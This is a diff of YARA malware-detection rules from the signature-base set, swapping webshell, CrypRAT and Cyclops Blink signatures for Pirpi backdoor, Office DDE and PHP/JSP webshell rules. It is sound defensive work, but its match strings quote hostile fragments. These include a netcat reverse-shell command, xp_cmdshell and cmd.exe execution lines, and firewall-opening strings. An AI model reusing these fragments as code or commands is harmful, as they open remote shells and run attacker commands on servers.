+		all of them
 }
-rule SIGNATURE_BASE_Txt_Jspcmd : FILE
+rule SIGNATURE_BASE_Pirpi_1609_A : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
+		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
-		date = "2015-06-14"
+		id = "72b996e2-56cf-5a8d-8d8b-97eda7105d26"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L594-L608"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1d4e789031b15adde89a4628afc759859e53e353"
-		logic_hash = "d2cbf753fbd9e261234e6beb6f79aecb407a368704ae09d907d128d04c242053"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_pirpi.yar#L10-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "470745d0dd44c161ed6ec474f85531a3aca8ebb0adb98b902cb0b7465ca07d8b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
+		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
 
 	strings:
-		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
-		$s4 = "out.print(\"Hi,Man 2015\");" fullword ascii
+		$x1 = "expand.exe1.gif" fullword ascii
+		$c1 = "expand.exe" fullword ascii
+		$c2 = "ctf.exe" fullword ascii
+		$s1 = "flvUpdate.exe" fullword wide
+		$s2 = "www.ThinkWorking.com" fullword wide
+		$s3 = "ctfnon.exe" fullword ascii
+		$s4 = "flv%d.exe" fullword ascii
+		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
+		$s6 = "12811[%d].gif" fullword ascii
+		$s7 = "GetApp03" fullword wide
+		$s8 = "flvUpdate" fullword wide
+		$s9 = "%d-%4.4d%d" fullword ascii
+		$s10 = "http://%s/%5.5d.html" fullword ascii
+		$s11 = "flvbho.exe" fullword wide
+		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
+		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
+		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }
 
 	condition:
-		filesize <1KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <200KB and ($x1 or all of ($c*) or all of ($op*))) or (8 of them )
 }
-rule SIGNATURE_BASE_Txt_Jsp : FILE
+rule SIGNATURE_BASE_Pirpi_1609_B : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file jsp.txt"
+		description = "Detects Pirpi Backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "53eb6caf-3578-5df7-a1d8-9e4038b6f57e"
-		date = "2015-06-14"
+		id = "caf63b97-efd7-5cd4-8954-b86db4d93cf5"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L610-L626"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74518faf08637c53095697071db09d34dbe8d676"
-		logic_hash = "039b145031cf1127cb1b2aeda063d578d9eb151559232d7e6049965111df1e28"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_pirpi.yar#L45-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4dafff80fb7bfcffccf96d991245c13b3208fd4f5a21488d7d6885758ef05078"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
 
 	strings:
-		$s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
-		$s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
-		$s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
-		$s4 = "cmd = \"cmd.exe /c set\";" fullword ascii
+		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
+		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
+		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
+		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
+		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
+		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
+		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
+		$s8 = "tconn <ip> <port>" fullword ascii
 
 	condition:
-		filesize <715KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them ) or (4 of them )
 }
-rule SIGNATURE_BASE_Txt_Aspxlcx : FILE
+rule SIGNATURE_BASE_Office_OLE_DDE : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
-		date = "2015-06-14"
+		description = "Detects DDE in MS Office documents"
+		author = "NVISO Labs"
+		id = "2ead3cc9-f517-5916-93c9-1393362aa45d"
+		date = "2017-10-12"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L628-L644"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "453dd3160db17d0d762e032818a5a10baf234e03"
-		logic_hash = "a6e41e6882e74b0dd55ec4afbf6f8708e28267657e304c97d1304266fe1fbc93"
-		score = 75
-		quality = 85
+		reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_dde_in_office_docs.yar#L48-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d2f7dce166dc8ef8aba7e8eaafaf4d1bb34cdc1ce97d34125a65147cf5e08ac"
+		score = 50
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "public string remoteip = " ascii
-		$s2 = "=Dns.Resolve(host);" ascii
-		$s3 = "public string remoteport = " ascii
-		$s4 = "public class PortForward" ascii
+		$a = /\x13\s*DDE\b[^\x14]+/ nocase
+		$r1 = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
+		$r2 = "Adobe ARM Installer"
 
 	condition:
-		uint16(0)==0x253c and filesize <18KB and all of them
+		uint32be(0)==0xD0CF11E0 and $a and not 1 of ($r*)
 }
-rule SIGNATURE_BASE_Txt_Xiao : FILE
+rule SIGNATURE_BASE_Webshell_H4Ntu_Shell_Powered_By_Tsoi_
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file xiao.txt"
+		description = "Web Shell - file h4ntu shell powered by tsoi.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd375597-c343-5f7d-8574-23f700ff432b"
-		date = "2015-06-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L646-L663"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
-		logic_hash = "e99c307482148e4d0eb660281fa70f2dcece200ac8aed032bbef41e421d2a155"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L32-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+		logic_hash = "2f3cfb6d7d5ee6facb18397e3166ab2a7450f05a24fbb25a159a6168ca631a39"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
-		$s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
-		$s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
-		$s4 = "function Command(cmd, str){" fullword ascii
-		$s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii
+		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
+		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
+		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
+		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"
 
 	condition:
-		filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Txt_Aspx : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Sql
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
+		description = "Web Shell - file sql.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e01a7235-5c69-5676-ac5d-c4e4632f31b2"
-		date = "2015-06-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L665-L681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
-		logic_hash = "43c386bfa88db77801b0494d6a5e4406688f957ffedeb4d2ecdd244549dec708"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L49-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2cf20a207695bbc2311a998d1d795c35"
+		logic_hash = "83049c3c5bce88d239b59accb173e234c3169f59187de17b7e6c2a0aa58a552f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
-		$s2 = "Process[] p=Process.GetProcesses();" fullword ascii
-		$s3 = "Copyright &copy; 2009 Bin" ascii
-		$s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii
+		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
+		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
 
 	condition:
-		filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Txt_Sql : FILE
+rule SIGNATURE_BASE_Webshell_PHP_A
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file Sql.txt"
+		description = "Web Shell - file a.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "586f23d4-3a04-520d-b75b-f9bbcf67ceeb"
-		date = "2015-06-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L683-L699"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
-		logic_hash = "0712b6736d8bdc1f19b3494dc3aab9e9a04dde167b5f843e319755cd311e29bd"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L64-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e3b461f7464d81f5022419d87315a90d"
+		logic_hash = "6bdd5fbe9b16f2d84b884239cf3b6453587933c6b0c4308508d10019b4f36e38"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
-		$s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
-		$s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
-		$s4 = "session(\"login\")=\"\"" fullword ascii
+		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
+		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
+		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword
 
 	condition:
-		filesize <15KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Txt_Hello : FILE
+rule SIGNATURE_BASE_Webshell_Imhapftp_2
 {
 	meta:
-		description = "Chinese Hacktool Set - Webshells - file hello.txt"
+		description = "Web Shell - file iMHaPFtp.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "42d01411-e333-543d-84a2-758c13bad2df"
-		date = "2015-06-14"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L701-L717"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
-		logic_hash = "823a0a74b07c8f4821247b3cf0450069a9888d44ccd87144330da88594f260c0"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L80-L94"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+		logic_hash = "9099504870c1e466808060f11aea38472832846d24e3c84fdd69b7d26bfed69d"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
-		$s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
-		$s2 = "myProcess.Start()" fullword ascii
-		$s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii
+		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
+		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"
 
 	condition:
-		filesize <25KB and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Cryprat_Jan19_1 : FILE
+rule SIGNATURE_BASE_Webshell_Jspspyweb
 {
 	meta:
-		description = "Detects CrypRAT"
+		description = "Web Shell - file Jspspyweb.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f3063a16-8813-5d6c-9807-6a0725907fb5"
-		date = "2019-01-07"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_cryp_rat.yar#L3-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69f8a581bae1a2c411e09e8fe01a979645ef897038af868d8e9f2a2ce9188080"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L95-L109"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4e9be07e95fff820a9299f3fb4ace059"
+		logic_hash = "491d9c4efee27469f2a26f6fcb7f7c768eac60977e640096ea5f78ff346e7fbe"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Cryp_RAT" fullword wide
+		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
+		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="2524e5e9fe04d7bfe5efb3a5e400fe4b" or 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Notable_Strings : FILE
+rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2
 {
 	meta:
-		description = "Detects notable strings identified within the Cyclops Blink executable"
-		author = "NCSC"
-		id = "81ccf582-41f5-5fe5-8afc-e008e01289ff"
-		date = "2022-02-23"
+		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L6-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdd3a1de9d178370fcc66dbca4628d7bedfbc002bca9e463e11cb444302900ea"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L110-L124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+		logic_hash = "d3d27d80f5f3adbc050a59d0c25953ec5d634344b5d051a4abdf4eeed3b8b035"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$proc_name1 = "[kworker/0:1]"
-		$proc_name2 = "[kworker/1:1]"
-		$dns_query = "POST /dns-query HTTP/1.1\x0d\x0aHost: dns.google\x0d\x0a"
-		$iptables1 = "iptables -I %s -p tcp --dport %d -j ACCEPT &>/dev/null"
-		$iptables2 = "iptables -D %s -p tcp --dport %d -j ACCEPT &>/dev/null"
-		$sys_recon1 = "{\"ver\":\"%x\",\"mods\";["
-		$sys_recon2 = "uptime: %lu mem_size: %lu mem_free: %lu"
-		$sys_recon3 = "disk_size: %lu disk_free: %lu"
-		$sys_recon4 = "hw: %02x:%02x:%02x:%02x:%02x:%02x"
-		$testpath = "%s/214688dsf46"
-		$confpath = "%s/rootfs_cfg"
-		$downpath = "/var/tmp/a.tmp"
+		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
+		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"
 
 	condition:
-		( uint32(0)==0x464c457f) and (8 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Module_Initialisation : FILE
+rule SIGNATURE_BASE_Webshell_Simattacker_Vrsion_1_0_0_Priv8_4_My_Friend
 {
 	meta:
-		description = "Detects the code bytes used to initialise the modules built into Cyclops Blink"
-		author = "NCSC"
-		id = "c81b92c4-3f70-5bbd-acfa-ed1e1d33461d"
-		date = "2022-02-23"
+		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L39-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bde37f642cf07e323beabaacd5c62f8422b451777fc1fc4a6bdf474db49de12"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L125-L139"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+		logic_hash = "fc553942b06b305f7b0d5b072a8d4517b0e51229545440ea9c43e9be01d64efa"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {94 21 FF F0 93 E1 00 08 7C 3F 0B 78 38 00 00 ?? 7C 03
-      03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}
+		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
+		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
 
 	condition:
-		( uint32(0)==0x464c457f) and ( any of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Modified_Install_Upgrade : FILE
+rule SIGNATURE_BASE_Webshell_Phpshell_2_1_Pwhash
 {
 	meta:
-		description = "Detects notable strings identified within the modified install_upgrade executable, embedded within Cyclops Blink"
-		author = "NCSC"
-		id = "4c4f7262-df74-5f6a-afc0-df1fcae4741c"
-		date = "2022-02-23"
+		description = "Web Shell - file pwhash.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L57-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69b89dbaf3e2661f376ff1be7c19e96c82bf84fd572fea422c109f8afdd1e5aa"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L140-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ba120abac165a5a30044428fac1970d8"
+		logic_hash = "616c0570550cdb9394b5675864d4eec3fa62390f880817406b2a3b63952b69f0"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
-		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
-		hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
-		hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "/pending/%010lu_%06d_%03d_p1"
-		$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
-		$ = "etaonrishdlcupfm"
-		$ = "/pending/WGUpgrade-dl.new"
-		$ = "/pending/bin/install_upgraded"
-		$ = {38 80 4C 00}
-		$ = {38 80 4C 05}
-		$ = {38 80 4C 04}
-		$ = {3C 00 48 4D 60 00 41 43 90 09 00 00}
+		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
+		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","
 
 	condition:
-		( uint32(0)==0x464c457f) and (6 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Core_Command_Check : FILE
+rule SIGNATURE_BASE_Webshell_Phpremoteview
 {
 	meta:
-		description = "Detects the code bytes used to test the command ID being sent to the core component of Cyclops Blink"
-		author = "NCSC"
-		id = "46066474-7647-52fb-b40d-30ff8e285b6e"
-		date = "2022-02-23"
+		description = "Web Shell - file PHPRemoteView.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_cyclops_blink.yar#L90-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "71c9da1f0e9e64be87293c985f2a4a59a6c87ffd127ce5104ebe95a0ccb316af"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L155-L169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+		logic_hash = "2de48b8640c0f2089a4a0badb4429127cb61ac972459290041e20b959e4e0c05"
+		score = 70
 		quality = 85
-		tags = "FILE"
